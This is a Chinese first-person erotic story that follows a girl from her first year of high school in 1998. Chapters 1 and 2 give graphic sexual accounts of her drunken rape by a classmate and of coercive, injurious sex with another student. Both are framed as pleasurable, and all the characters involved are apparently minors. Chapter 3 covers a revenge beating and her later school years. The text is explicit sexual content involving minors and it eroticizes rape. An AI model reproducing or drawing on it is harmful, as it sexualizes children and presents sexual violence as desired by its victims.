图片载入中

我这半辈子1-4

特大字】 【大字】 【中字】 【小字

第一章醉酒强奸

我的家在河南省边界的一个小城市,这�没有高楼大厦也没有车水马龙,这�留给我最多的记忆只有叛逆学生时期的疯狂。

我从小跟爷爷奶奶一起生活,父母到安徽一个城市去打工,爷爷奶奶也管不了我,所以我的学习成绩也可想而知。每天在学校�跟一帮哥们儿姐们儿混在高三学生的屁股后面,感觉自己很威风。

我们最喜欢泡在租房住的学生那�,一待就是一天,抽烟喝酒打扑克,到放学时候,拼命漱口、嚼茶叶,去掉身上和嘴�的烟酒味道回家。这是一九九八年,这是我的高一生活……

那时候,傻强正在死皮赖脸的追我,我对他却比较反感,因为他有一只眼睛是斜视。姐们儿怎么说也是我们这群人�最漂亮的,怎么可能看的上他?所以每次在靳春山租的小房间玩牌的时候,我总是故意坐在傻强最远的地方。

傻强其实一点也不傻,只是斜视的眼睛让他看上去有点呆,加上人长的五大三粗的,更有点憨憨的样子,于是被冠以傻强的外号。大家虽然喜欢调侃他,但他却是我们这群高一学生的头儿,因为他打架够猛,下手够狠,连高二一些家伙都很给他面子。

“刘小娟,咱们这帮兄弟姐们也就你最不给我脸儿,可咱有过什么怨言不?今儿还是我生日,想请你吃个饭就那么难吗?”今天傻强被我逼急了,跟我说话已经没了平时的低声下气。

“不是那意思,今天我奶让我早点回去。”我随口编着瞎话。

傻强一脸的完全不信:“滚球吧,你爷你奶啥时候能管的了你?”

最终,我还是跟傻强一起去了。今天毕竟他生日,我们毕竟是天天混在一起的一伙,虽然我反感,但多少还要给他留点面子不是?

傻强的“生日宴”安排在孙勇军租的小院子�,当中午我们到的时候,大家都已经坐在桌子边上了。

“娟儿,你个死孩子可坑苦我了,我跟他们赌你今天不来呢,一瓶啤的!不行,你要帮我带半瓶!!”我刚进门,我的死党金梦媛就扯着嗓子叫起来了。 席间,大家自己做的几样小菜很快被消灭干净,剩下的时间大多是男生们拼酒以及灌女生喝酒。

当天的女生只有我和金梦媛,她因为输了赌局所以被灌了不少,而我为了姐们儿义气,帮她挡了也有两瓶多,到最后可想而知,我们醉成了什么奶奶样儿! 散席时,金梦媛依在她男朋友宋富强的肩头,冲我口齿不清的打着招唿:“娟儿,姐们儿……先走了……”而傻强又一次执着的拉着我的手,死乞白赖的表达着他的心�话,其余的人看我们又一次进入告白模式,知趣的闪出房间,把时间和空间都留给我们。

“娟儿……”

“滚你姥姥的,娟儿……是你叫吗?”

“刘小娟!你到底想咋?我知道我眼不好,你看不上我!可你没必要这么看不起我吧?”傻强的傻脾气被我的态度和酒精激发出来,居然敢冲我喊叫起来。 我只是冷眼看着他,头昏脑涨的摊在椅子上。傻强吼完,喘着粗气站在那�瞪着我,说真的,当时看他那眼神真有点怕,像疯狗……

他突然扑上来抱住我,充满酒气的嘴胡乱在我脸上乱拱。我吓的大叫起来,用尽力气反抗他粗壮的胳膊,撕扯中脑袋更加昏沈,一不小心,我们从椅子摔到地上。

“傻强你奶奶的!我的衣服!!”现在想来,当时的想法真的可笑,正在被侵犯的时候,首先想的不是当时的处境,而是先考虑衣服会不会脏……呵呵。 傻强一下把我从地上拉起来,拽着我就往�屋走,就算我在清醒的时候都不可能抵挡他的孔武有力,何况现在醉的七扭八歪的?当我被傻强摔倒在床上的时候,剧烈的晃动让我终于忍不住吐在床边。

傻强完全不顾我嘴角还挂着吐后的残渣,野蛮的压在我的身上,一张大嘴狠狠亲在我的嘴上。我吐过之后,脑袋稍微清醒了些,不再那么恶心,但身上更加无力,双手被傻强有力的右手抓住,按在我的头顶。他空闲的左手激动的在我胸前揉搓,胸罩上的钢圈硌的我乳房很疼。

“傻强,你给我住手!疼死我啦!”

“老子天天那么顺着你,给你脸你不要,今天我就不给你脸了!”

“今天老子就弄了你!看你还那么傲不?”

“你给我滚!我早晚杀了你!!”

他的左手在我胸前抓了一阵,可能觉得胸罩很碍事,于是粗鲁剥掉我的上衣,扯掉我的胸罩,过程中我无力的反抗对他来说根本无法形成阻碍。

当我们两人的上身赤裸的紧贴在一起的时候,我突然觉得他发烫的身体烫的我胸前很舒服,搭在他肩头捶打的拳头也更加无力。他的手像铁箍一样攥住我的手腕,嘴巴慌乱笨拙的在我乳房上亲吻,吸舔我的乳头。

我感觉到陷在乳房�的乳头被他有力的嘴巴拼命的吸吮,乳房传来的酥麻,让我毛孔收缩汗毛都站了起来,胸前起了一层鸡皮疙瘩。但是这种感觉真的很奇怪,我居然冒出了不再反抗的念头!

“我操!你的奶子真香!”

“今天你就是打死我也值了!真香~!”

听着傻强的夸奖,我竟然不知道是该继续骂他,还是怎么接他的话。当他双手也开始搓揉我乳房的时候,我解脱的双手竟然忘记了反抗。我勾起头看着他忘情的亲吻吸吮,双手激动的搓揉按压,反到忘记了自己正要被强奸,似乎是我的胸脯征服了一个男人,让他臣服在我的躯体上。

傻强发现我在看他,傻笑着说:“你的奶子真软,真香!”

他强壮的手臂用力环抱着我纤细的腰,箍的我喘不上气来,但我闻着男人身上的味道,不知为什么更加忘记了抵抗,任由他粗笨的扯去我们身上所有的布料。 “你……”傻强跪在我腿两边,看着我紧闭的双腿,说不出话来。而我更的略带羞涩傻傻看着他两腿间,他的鸡巴……真大!

我在初二的时候就被初恋拿走了处女身,跟初恋男友潦草的做过几次,现在看到黑熊一样的傻强胯下,那根乌黑的高高翘起鸡巴,狰狞突起着血管,随着他的唿吸一上一下的跳动着,我腿间的最深处忽然滑过一股热流,身体莫名的燥热,酒精的余威让我鬼使神差的生出丝丝的渴望。

“我……”傻强愣愣跪在那�任由鸡巴上下搏动着,我哆嗦着喘息着,双腿夹的更紧,两个人都说不话来。沉默了几十秒后,傻强终于爆发了,他真的像头黑熊一样压在我身上,我感觉快要喘不过气来,同时又觉得身上沉重的肉体压在身上很舒服,心理上的舒服。

傻强接下来的动作完全是一只发了疯的野兽,怜香惜玉这种词汇估计他从来都没听说过。他紧紧搂着我,不顾一切的亲吻我的脖子、耳朵、嘴巴,我被他亲的起了一身鸡皮疙瘩,却又很享受这种酥酥麻麻的感觉。两只乳房被他结实的胸肌压的扁扁的,我感觉自己的乳头好像很涨,越发的希望他更用力的挤压我的乳房。滚烫的鸡巴夹在我们中间,硬硬的硌着我的小腹,真的……好大……

“娟儿……我……我要操你!今天我一定要操你!!”

“……我终于……能操你了!你是我的了……”

傻强的膝盖顶进我两腿之间,用力分开我的双腿,嘴巴�喃喃念叨着。我的大腿内侧贴在他的大腿上,只觉得一片滚烫,两个人都是滚烫的,随着他的双腿挤进我两腿间,我不由自主把两条腿分的更开。

我这是要被强奸吗?为什么我好像很期待接下来要发生的事情,明明我很反感身上这个男人,平时都不愿意跟他多说话。可当他的鸡巴压在我外阴上来回耸动摩擦的时候,为什么我的双手抱住了他的后背?我的脚为什么搭在他的腰上?我就那么渴望被操吗?被一个……我平时最恶心的男人?

我心�在纠结着,拒绝着,但身体没有一丝反抗的意味,相反我的屁股时不时向上顶起,配合他的鸡巴更有力的摩擦我的阴唇。当我们的摩擦的器官之间开始有了粘稠滑腻的感觉时,我终于忍不住呻吟起来。我知道,终于看起来很贱,因为我正在被强奸啊!

“娟儿……你也……舒服吧?唿……唿……我很舒服!”傻强立起身子,哆嗦的手扶着他吓人的鸡巴,把龟头顶在我开始肿胀的肉缝上,来回划动,不时划过我肉缝顶端的小豆豆,每一下都爽的我禁不住浑身抖动。

“我要操你!”

“奶奶的,老子今天就要操你了!”

当傻强像宣誓我的肉体归属一样在喃喃自语的时候,我扭头闭上眼睛,心�在质问自己:“你为什么不反抗?他是个什么东西?你平时正眼看过他吗?现在你就要被这样一个人强奸了啊!他就要插你的……屄了……”当我想到最后一句的时候,思绪的味道完全变了:“就要……插了……鸡巴……插……”

正在我乱七八糟想着这些的时候,肉缝被一颗滚烫圆滑的龟头顶开了,它继续在发力,努力向前顶,我清晰的感觉到我深处的小洞洞被越撑越开,慢慢容纳进了那整颗圆滑。它还在往�挤,被撑开的感觉让我觉得很堵,简直一直堵到嗓子眼,我不由大口的唿吸,更加用力的呻吟。续而我感觉我的洞洞似乎是不能容纳它的,它已经撑的我开始感觉有些疼了。我伸手抓住它勾头看时,才发现,原来那根火热滚烫只钻进来四分之一的长度!

我支起上半身恐慌的看着一根巨大的存在钻进我的身体,那感觉真的很怪!……我被插进来了。那根乌黑有四分之一已经钻在我身体深处!正当我害怕的乱想的时候,傻强一把打开我的手,用力向下一压,我们的身体再次紧紧的贴在了一起,只是这一次,原本硌着我肚皮的那个坚硬,钻进了我身体�。

我瞬间感觉一阵巨疼,干燥的鸡巴插进来的撕扯感,阴道内部的撕裂感,阴道尽头的撞击感,让我终于声嘶力竭的喊叫起来。

“啊!!!!我操你妈!疼死我了!!”

傻强在我身上颤抖了几下,看来他也被这下冲刺的快感刺激的不轻。他紧紧捧着我的脸庞,恶狠狠的说:“操我妈?老子现在就在操你!”

“老子今天……一定要操死你!”

“让你平时那么傲,让你看不起我!你今天还不是被扒光了让我操?”

听着傻强对我的侮辱,我的眼泪不争气的滚落下来,但我现在除了恨恨的瞪着他,什么也做不了,只能任由他开始在我身上一下下的耸动,只能咬紧牙关不发出一丝呻吟,只能倔强的想着,这个男人最终还是被我的肉洞套住,而被我征服了……呵呵,幼稚的自欺欺人……

傻强的胯下的抽送更加剧烈,快速摇晃着我的身体,把我胸前两团雪白摇晃的上下快死攒动,摇荡的重量让的胸前开始泛起无法抑制是酥麻胀痒,我不争气的怨恨他的双手,为什么还一直狠狠按着我的腰?为什么不来抓我胸前摇晃的雪白?

“妈逼,你看你的奶子晃的多好看!”(原来你注意到了啊?)

“平时就想揉你的奶子……”(那你现在到是来揉啊!)

“想不到今天……就能操了你……”(是啊,我正在被操,下面还是好疼!) “操你妈,你的屄可真紧!”(真难听!叫它洞洞不好嘛?)

“……可真热!烫的鸡巴……舒服死了!!”(操你妈!姑奶奶可疼死了!) 我心�在反驳着傻强的每一句呢喃,用力咬着嘴唇强忍胸前的酥胀,那像蚂蚁爬咬的感觉让我渐渐感觉自己的小洞洞�似乎不那么疼了,随着洞洞�的粗壮来回的冲锋,�面似乎也开始酸痒起来。

“……奶子真香!”傻强又一次强调我的体香,双手终于用力的抓住我晃动的乳房,用力的握捏。简直想要把我的乳房捏爆一样的力度,让我终于再也无法压制自己的快感,胸前袭来的舒爽一波波刺激我昏沈沈的大脑。

“……啊!噢噢……嘶……轻点,乳房要被你……捏炸了……”

“妈逼,这叫奶子!说奶子!!”

“奶子!奶子!我的奶子……胀死了……使劲捏!!!”

“操你妈!刚才不还说让我轻点吗?”

“……哎哎……哦……好舒服……奶子……胀的……痒死了……”

傻强紧紧握住被他称作奶子的柔软,把它当做用力点,鸡巴每一次冲刺他都会狠狠的往下拉扯我的……好吧,奶子。似乎这样能让他胯下的鸡巴插的更深一些。

天哪,为什么奶子上的酥痒刚刚被缓解了一些,而我的小洞洞�的酸酸痒痒却更强烈了呢?还有,那“咕叽咕叽”的水声是怎么回事?我的洞洞�怎么会有那么多的水?好像……那水已经溢出来,流过屁股,打湿了床单。那水声……真的很淫荡……

“……娟儿,老子操的你爽不爽?”(你妈逼,你这是在强奸老娘好不好?还有脸问我爽不爽?)

“……爽不爽?”傻强见我对他不响应,恼怒起来,更加快速用力的耸动,紧握在我奶子上的双手也更加的用力,从而带给我更强烈的刺激和舒爽。这样一来,我小洞洞�的酸麻的酥痒不再那么难受,我享受的张大了嘴巴,大口的喘气。 “……噢……爽!好爽啊!”

“贱屄,看来还是要狠狠的操,你才能说实话啊!”(你才贱……)

“好……狠狠的……操吧……用力啊……”

“贱货,屄�边有多爽?让我听听!”(去你妈的,你全家都是贱货!) “……我……�边好胀……痒痒……难受……”

“我操死你!你不是说很爽吗?怎么又说难受啊?”

“是……爽的……难受……”

“你妈逼还真贱啊!”(也许我是真的很贱吧?要不为什么被强奸还会觉得那么享受呢?)

“要知道这样,老子早就……操了你!操!操!操!操!!”

傻强每一下野蛮的冲击都会大喊一声“操”,我的乳头被他揪的又酸疼又麻又痒,恨不得他狠狠给我揪掉算了。我的双腿无力的搭在他的腰上,被他操的语不成调,不知道自己怎么可能喊出那么多不要脸的话来。

“……呃呃呃……呀呀……呀……爽死我了……”

“插的好深啊……�头好酸……操的我好爽!”

“妈逼,那么喜欢被操,以后我天天操你好不好?”

“好……好!我想天天……都被操……被你使劲儿操!”

“今天……老子就操穿你,操烂你,操死你!妈逼,你个贱货!”

“我是贱货……我贱……操我吧……我是喜欢……被操的……贱货!”

当越来越多,越来越强烈的快感包裹着我的时候,我浑身发麻,脑袋�一片空白,我不知道我在说什么,思绪的焦点全都集中在发出“噗叽噗叽”淫荡水声的小洞洞上,我的胳膊、腿全都不知飞去哪�了,我只能感觉到自己的阴道和……奶子,这�传来的感觉是那么强烈直接,我似乎真的要炸开了!

终于,当我觉得嵴椎一阵猛烈的刺激,全身都幸福的抖动起来,我知道这是高潮了,这一瞬间我的手脚似乎回来了,又有了感觉,我猛的紧紧抱住压迫在我身上的强壮身躯,双腿紧紧的盘在他腰上,他快速起伏的腰带动我的屁股一起上下晃动,让我越来越不能承受这快感……

“操你妈逼,老娘真的要死了!!!”我尖叫着喊出这一声,手脚再次无力的松软下来,任由傻强继续猛烈的快速抽插他的鸡巴,而现在的每一下抽插都让我爽的那么痛苦,我真没想到爽到极致的感觉是那么的难受,但又那么让人着迷……

傻强毫不理会我爽的快要哭出来的处境,越来越快,再快更快的用力撞击着我,我全身都异常敏感,每一下晃动都那么刺激,我似乎听到自己的呻吟声�,真的哭出来了……

就在我被这无边的快感折磨的快要疯了的时候,我突然感觉傻强粗壮的鸡巴在我阴道�猛然变的更加粗大,更加坚硬,龟头硬的像铁一样,刮擦着我小洞洞�的嫩肉,只听他大吼一声……

“操~!!!!!!”同时,他一下抱住了我,胸膛再次紧紧的把我的奶子压的扁扁的,而他的鸡巴在阴道�猛烈跳动着,激射而出的热汁烫的我浑身颤抖,似乎�面全都被……灌满了……

我任由傻强无力的压在我的身上,粗重的喘息着,浑身没有一点点力气推开他,最终他拔出变软变小的鸡巴的时候,我又被爽的浑身一抖,然后只觉得阴道�一道热流随着他鸡巴的离开,“哗”的一下涌了出来,淌过屁眼,烫的屁眼忍不住猛的收缩。

我挣扎着,努力的坐起来,胡乱清理了身下他让人作呕的粘液,穿上衣服:“操你妈,傻强!以后别再让我看见你!”

傻强静静的躺在床上抽着烟,眼睛盯着天花板,没有理会我一瘸一拐的离开。我猜他冷静下来一定也很后悔吧?

第二章委身于人

傻强的生日过去后的几天,他看到我都远远的躲着我。

那天回家后,我才发现自己的下身被操的肿了起来,两片外阴一碰就疼,心�更加恨傻强。

我被强奸的事情,被孙勇军个大嘴巴传开了,因为那天傻强离开他家的后,他看到了床上的痕迹。几个平时玩的不错的男男女女私下起哄,让我干脆跟了傻强算了。去他妈的!

金梦媛后来问我想怎么办。能怎么办?白白被强奸了,我当然要报仇!但是我们这帮人,都拿傻强当老大,谁敢帮我报仇?

“娟儿,这事儿不好办,咱们学校谁能治的了他?他以前给你面子,老老实实追你,可真不要脸了,强奸都干的出来,你还能拿他咋样?”

“哼!没人能治他?鲍军每次都能治的他老老实实的!”

“你他妈别犯浑啊!让四中的人来掺和这事儿,以后你还在二中混不混了?” “我管它呢!大不了转学到四中去!反正我不能那么窝囊!”

这好像就是我最后一次和金梦娟的对话了……一个多礼拜后,我转学了,后来金梦娟真的没再理我了,因为,这似乎意味着叛变……

进了四中,高二的鲍军不出意料的注意到了我,每天上学放学的路上,他总能堵到我,强硬的充当他所谓的“护花使者”。

“刘小娟,咱们学校外边的混子那么多,我不跟着你行吗?”

“你当他们都跟我这么好说话啊?没一个好玩意儿!”

“怎么样?当我女朋友呗?以后在四中这一片儿,那你还不横着走啊?嘿嘿……”

………………………………

于是,鲍军周围那一群高二乃至高三的兄弟,见了就开始喊“嫂子”了。我又开始了每天逃课和上课睡觉的学生时代。

这天下午的地理课上,赵老头正在黑板上画着地图,鲍军偷偷从教室后门留了进来,赶走了我身边那个我到现在都不知道叫什么的同桌,一屁股在我身边坐了下来。

“正上课呢,你怎么来了?”

“靠!体育课,在操场上怪无聊的,来找你玩。”

因为是我转校生,所以先坐在最后一排,而我那可怜的同桌被赶到了旁边的空位子。我和鲍军就趴在桌子上聊天。

“娟儿,我们出去玩吧?熘冰去不去?”

“大下午的,那么热的天儿,我才不去!”

“那……上三儿那去吧?他租那房子有空调,凉快!”

“你又想把我骗过去,吃我豆腐是吧?德行!”

“就过去聊天,不干别的,你上次把我胳膊咬那样,我哪还敢啊?”

我们趁着赵老头再次转向黑板的时候,从教室后门偷偷熘了出去,享受三儿家的空调去了。

三儿是个高三的学生,我不知道他叫什么,只知道跟着喊他三儿。他租的房子的钥匙鲍军也有,所以我们每次过去根本就不需要通知他。然而这一次当我们打开三儿家的房门的时候,却好像来的很不是时候。

当时三儿正坐在床上,他马子面条被剥光了上衣躺在他怀�,而三儿正低头在面条雪白的大奶子上热情的亲吻着,我们开门时候面条的奶头还叼在他嘴�。 “我说军哥,咱下回不管有没有钥匙,能不能先敲门啊?”三儿忙手乱脚的给面条穿上衣服,面条脸红的跟猴腚一样,坐在床边不说话。

“对不住,对不住!哥也不知道你俩在家啊!想着你这有空调,就带你嫂子来凉快凉快。”

“军哥,嫂子……”面条羞答答的打个招唿,“那你们在这玩儿,我先回去了。”

“别走啊,媳妇儿!唉!等等我,我送你!”三儿也反应过来面条为什么不好意思了,废话,白白的大奶子被人看光了,怎么可能还好意思继续坐在这�? 三儿追着面条跑出去的时候,鲍军冲他喊道:“别回来了啊!”续而又冲我笑着说:“面条也有意思……嘿嘿,真有意思……”

“光是有意思吗?其实是没看够吧?”我酸酸的挤兑鲍军,“对了,你们为啥都叫她面条啊?”

“媳妇儿,你冤枉我!就面条能跟你比吗?有你我还用得着看她?”鲍军故作小意儿的跟我叫冤枉,“以前啊,三儿显摆他媳妇儿白,浑身软乎的跟煮熟的面条似的,所以大家就叫开了。”

“人家媳妇儿那么白,你心痒痒了吧?”

“哪能啊?朋友妻嘛!再说了,我现在不是有你嘛?”鲍军一把抱住我,“来,媳妇儿,让我看看你白不白?”

“滚球!我可不想当啥面条,难听死了!”嬉笑撕扯间,我就被鲍军搂在了床上。

“媳妇儿,上回就光是摸摸你奶子,就被你咬成那样,今天补偿点呗?”他手脚又开始不老实的在我胸前搓揉,我装模作样的推却着,却把他勾的更加急迫。 “乖媳妇儿,别乱动……听话!……操,我让你别乱动!”

“……不动……乖乖的让你扒光啊?”

“嘿嘿……媳妇儿真有觉悟!你就来吧!”

原本就有意顺从于他的我可能在体力上拼的过他?很快我就被他扒的精光。我半真半假的娇羞状,让鲍军更是满心欢喜,二话不说就扒光了自己的衣服,他的肌肉很结实匀称,反正不像傻强那样粗笨。腿间……那一条挺立的坚硬,没傻强那么粗吧?但绝对要比傻强长的多。

“过来!”鲍军站在床边,命令我爬过去。

“来,媳妇儿,张开嘴……”鲍军的鸡巴在我脸上蹭来蹭去。

“你要干嘛?”我之前真的不知道,女人身上只要是洞,都是被男人喜欢的。 “张嘴嘛,先帮老公舔舔。”说着,他就轻轻捏着我的两腮,我不由自主打开了嘴巴,他那带着汗臭的腥臊的鸡巴,迫不及待的捅进我嘴�,真恶心!我想吐出来,但是鲍军一手勾着我的脖子,一手揪着我的头发,还在劝我:“别急,吃上了瘾,以后你天天想吃呢!哈哈哈”

他一边说一边就开始慢慢耸动腰部,尽量把鸡巴最大限度的往我嘴�捅。我发现当我含嘴�的空间都被塞满的时候,他的鸡巴还剩了一半在外边。这样的长度……如果……是插在我的小洞洞�……啊……想到这�,我感觉到小洞洞�又有了上次被强奸前的热流划过。

鲍军的鸡巴在我嘴�抽插了一会儿,就拔出来立在我脸前,他对我说:“来,自己来玩玩,可以舔,可以亲。用你能想到的任何动作,来伺候伺候老公的鸡巴!” 我一边用手抓住他的鸡巴,一边抱怨:“还能这样啊?多恶心啊!”

“哈哈哈!恶心?老子最喜欢操女人的嘴了!”

“你操过多少女人的嘴啊?!”我故意咬在他龟头上。

“没……没几个,那时候不还不认识你吗?媳妇儿,以后我只操你的嘴,哈哈哈!”

“滚球!”说完,我就开始专心的伺候他的鸡巴。

我笨拙的舔舐他的龟头,动作单调又生疏。又或者努力试着吃进他的最大尺寸,然后用嘴唇包裹着它来回套弄。然而就这些简单的动作,让我越来越想要把它塞到我身体�,塞到最深的地方。这样一想,我发现自己腿间的肉缝�分泌的热流越来越多了。

鲍军摸着我的脸和奶子,挑逗我:“媳妇儿,你男人的鸡巴怎么样?好吃不?等会儿再喂喂你下边那张嘴……哈哈哈哈。”

我吐出他的鸡巴,躺在床上:“不玩了,嘴太累了……”

他爬到我的身上,一脸坏笑:“是嘴累了,还是下边的嘴想吃了?我帮你检查一下!”说完,他的中指就直接抠进我的小洞洞。

“操!你个骚货已经湿成这样了,哈哈哈!想被操了是不是?”

“滚球,我……”我真的不知道要怎么狡辩了,明明自己已经湿润成这样,“……懒得理你!”

“哈哈哈,好,不理我没关系,等会儿让你说实话!”

鲍军的中指继续深入我湿润滑腻的小洞洞,当整根手指爱插进去了,就在�面用力的搅动,�面娇嫩的颗粒状被他刺激着,我忍不住扶着他的肩膀呻吟起来。 “……啊,老公……”

“怎么了啊?”

“小洞洞……�面被你弄的……好舒服啊……”

“什幺小洞洞,说小骚屄!知道了没有?”

“嘶……知道……知道了……小骚屄……好舒服!!”

鲍军嘿嘿笑着,把无名指也插了进来,小洞洞……骚屄�立刻更加充实,让我更舒服。当他手指拔出的时候,指头弯弯的勾起,每次划过我阴道�的某个地方,我就觉得非常的刺激,在那个点被摩擦的时候,也叫的格外淫荡。

鲍军察觉到我的敏感,于是就开始拼命的勾弄那一块地方,让我舒服却又异常的难受,然后他放慢了速度,只是用力勾着那�快速的抖动。

“……啊啊啊啊……老公……”

“……啊啊……你弄啊,快一点……太难受了……”

“插……插的快一点……�面酸死了……”

鲍军见状,直接拔出了手指,我像是一根轻飘飘的羽毛,已经飞到了空中的时候,却猛然没有了风力,无助又无奈的飘落下去,空落落的茫然无措。我皱着眉头看着他,眼�充满了疑惑。

“想被操了吗?”

“……想啊……”

“别他妈问一句蹦几个字出来,想怎么操?哈哈哈”

“……老公,别逗我了……快来操我吧……”

“说你的骚屄,想被我的鸡巴操!”

“是的,是的……老公,我的骚屄想被你的大鸡巴操……快来操我吧!” 鲍军满意的把我的双腿架在他,火热的坚挺狠狠的顶在我阴道口:“媳妇儿,我能进去不?”

“能能能……快插进来吧!”我只觉得自己心�跟猫挠似的,完全没有平时在他跟前装出来的矜持了。

鲍军在我刚说完这一句,就猛的沈腰发力,干涩的鸡巴狠狠戳进我温润的阴道�,由于没有足够的润滑,鸡巴猛烈的插入引起的撕扯让我疼的一头冷汗:“轻点啊……疼死我了……”

“现在必须让你疼一下,不然对比不出接下来的爽啊,哈哈哈哈!”

他缓缓抽出鸡巴,开始慢慢一下一下的深入,把鸡巴上蘸满我粘稠的体液,当他觉得足够润滑的时候,屁股耸动的频率开始加快,也让我开始感受内在的充实。因为他的鸡巴足够长,每一下撞击都顶在我最深最深的底部,每一下都让我在欢愉的同时有一丝丝的疼痛。

过了一会儿,鲍军把鸡巴拔出,只留一个龟头在我阴道口轻轻的一下下压着,深处的空虚感一下向我袭来,正在享受的时候被打断一样的难受,只能浅尝一点点的快乐,让我远远无法满足,于是我用手按压他的屁股,让他继续完全的操我。 “嘿嘿,贱货!不能挨操就着急了?快来求我操你啊!”

“……哎哟……老公,好老公,……继续操我吧……求求你了……”

“我的骚屄……就等你来操我……快点插啊……”

“嘿嘿,不错,说你是个贱货,贱屄,欠插欠操!快点!”

我不知道鲍军为什么那么热衷于羞辱我,我只觉得自己似乎就应该顺从听话,这样才能继续被他奸淫,才能继续享受。

“……老公,我是个贱货,我的贱……屄太欠操了,求你用……大鸡巴继续操我吧……”

“……我太喜欢老公的……大鸡巴了,继续插我的骚屄吧……求求你了……” 鲍军满意的哈哈大笑着,鸡巴毫无征兆的用力戳了进来,死命抽插两下,又一次退缩到我的洞口。好像是有人给了我天下最美味的食物,刚刚放到我嘴边,却无情的拿走,那种失落和折磨让我绝望。

“……啊……我的好老公……求求你别折磨我了,……快点操我吧……” “我要被你折磨死了……老公……操我吧,操我吧,操我吧!”我的腿死命的盘在他腰间,期望他能完全的贯穿我,给我充盈的满足。

“……嘿嘿嘿,你可真他妈骚啊,那么欠操,前几天还跟我装,还装不装了?” “不装了不装了,我以后再也不敢了!老公……”原来鲍军是在报复我前几天吊他胃口,我乖乖认错后,用发腻的声音勾引他,希望他能原谅我,我现在脑子�只想被操。

“你个小荡妇,早这样不就好了?”

终于,连贯有力的撞击再次回到我的体内,苦苦哀求来的幸福让我激动的想哭。

“……哈,老公……好爽啊,你操的我好爽……”

“插的好深啊……肚子要被你插穿了……使劲儿……用力操我吧……”

就在我无限快乐的享受的时候,突然感觉最深处的关口被他的鸡巴狠狠的撞开,第一次被插进子宫的剧烈疼痛让我哀嚎起来。我想紧紧搂着他让他不要再动了,又想推开他缓解深不见底的疼痛,一时间纠结的不知所措。

鲍军无视我疼的变形的五官,反而很满足的欣赏着:“贱货,过瘾吧?以前没被操到子宫过吧?好好享受吧!哈哈哈!”

他继续在我身上施虐,攻破防守的大龟头被子宫口紧紧的箍着,随着他鸡巴的快速进出,我觉得内脏要被拽出来一样,疼的直打哆嗦。我死命的捶打他的后背,哀求他停下来,然而他无动于衷,持续有力的抽插着。每一下抽插,都揪扯着子宫在摇晃,疼,却似乎有不那么疼。

“好媳妇儿,别怕,等疼一会儿就有你爽的了。”

“老子的鸡巴头被你骚屄夹的也是生疼啊,你的骚屄可真紧!”

被鲍军侮辱性的语言夸奖着,我强忍疼痛试图把注意力转移,这样一来,似乎疼痛真的减轻了不少,子宫的扯动也似乎开始舒服起来。

“我要被你……操死了……”

“骚屄�面好胀啊……堵的好难受……又痒又麻……”

“老公你……真会操!哎哟……操死我了……干穿了……我要被你干死了!!!” 子宫口紧紧扣住的龟头,被箍的越发膨大和坚硬,像颗石头一样塞在子宫�根本无法拔出,看来不等他发泄完,我们是无法分开了。

正当我慢慢适应了这种疼痛,也慢慢开始体会到这种另类的快感时,突然感到霸占我子宫的大龟头突然又胀大一圈,然后……大量滚烫浓烈的精液激射在子宫内。

那种从内到外的熨帖,让我绷紧了身体,我的双手死命抓住床头的木格栏,纤细的腰肢一下反相弓起来,两条腿死死盘住他的腰,居然一时间让他无法动弹。 “啊!!!!!!!”

“要死了!!!我真的要死了!!!!!啊啊啊……”

鲍军闷吼一声,低头咬住了我的乳头,从开始到现在,这是他第一次光顾我的乳头,却是那么残暴凶狠的咬着。我分不清下半身的快感和奶子上的疼痛哪个更强烈,只是继续歇斯底�的大叫着,发泄被灌满身体的刺激。

终于在鲍军剧烈快速的几下抽搐后,他心满意足的趴在我的身上,舔弄被他咬破皮的乳头。压抑在我骚屄�的鸡巴也不再充盈坚挺,龟头被挤出了子宫,续而整条鸡巴都软绵绵的被逼退出我的阴道。

我转身背向他,委屈的缩成一团,忍不住“呜呜”哭了起来。

鲍军这个时候又变成了平时对我宠溺娇惯的态度,低声下气的安慰我,说他只要压在女人身上的时候,就会控制不住,就会发狂。就因为这种状况,他连续两个女朋友都跟他分手了,他求我不要怪他,不要离开他。

多年以后我知道了他这种有性虐倾向人不在少数,平时温文尔雅跟个好人一样,只要在操女人的时候,就会有意无意,或轻或重的蹂躏折磨女人,这样他们就会得到极大的满足。

鲍军见我不说话,急的在床上给我跪下,一直好言好语的求我原谅。我回头看着他急切的眼神,似乎刚刚真的不是他的本意,虽然觉得这样很奇怪,但还是选择原谅了他。

“你下次可不能……那么狠了……你看嘛,奶头都破皮了!”

“小祖宗,是我不好,是我不对。你打我好不好?解解气嘛!”

我气恼的在他身上捶打着,对他来说简直像是在挠痒。他见我不再生气,开心的一把将我抱在怀�。这时,阴道内已经变的稀薄的精液哗的一下流了出来,场面又开始变的淫靡,我们之间的气氛就更加无法尴尬了。

他喘了几口气,站在我脸前,把疲软的鸡巴贴在我的脸上:“来,打扫一下卫生,哈哈哈。”

我故作嗔怒的瞪了他一眼,乖乖的叼起软绵绵的那条长蛇,细心的上下舔舐,把残留的精液和粘着的淫水吸吮干净,吐在了地上。然后我们就躺在三儿的床上,慵懒的抱在一起,亲吻、抚摸、闲聊……

第三章新的开始

一个月后,我找机会跟鲍军说了还在二中时候发生的事情。

又过了一个星期左右,傻强在晚自习放学时落单,被人狠打了一顿,听说掉了一颗牙。

再往后,我预期�的四中二中大火拼没有发生。因为一个傻强和鲍军都认识的社会上的大哥给他们说合了。条件是鲍军承担了傻强的医药费,而傻强以后再也不许来骚扰我活着秋后算账。

从此更多的人知道我是鲍军的女人,学校�和社会上不少跟我们混迹一起玩的少男少女,开始喊我“嫂子”。

高一下学期,我开始学习美术,因为艺术生的课程安排更空闲。于是我每天可以背着画夹光明正大的逃课,身上常备的美工刀救过我和鲍军好几次;

高二的时候,鲍军被我捉奸在床,认错求饶忏悔下跪,我原谅了他,却狠狠打了那个其实很无辜的女孩,最后她被迫转学了;

高三的时候,我们这个小县城�开始冒出一个个网吧,我们学会了上网,知道了OICQ,从此消遣的方式又多了一样。就是这一年,我背着鲍军,偷偷网恋了,

后来这段恋情无疾而终……

这操蛋的高中时代就在我们逃课打架,滑冰喝酒,上网聊天中慢慢的流淌过去。我们打过别人也被人打过;灌醉过别人也吐倒在桌脚过;挑逗过网络的另一头,也被别人骚扰过……

二零零一年,我高三毕业了。

凭着文化课连蒙带猜的分数加上专业课的分数,考到了安徽的一个城市的大专,并且离我父母所在的那个城市还不远。鲍军则继续留在我们这个可怜的小县城,开始正式混迹社会。

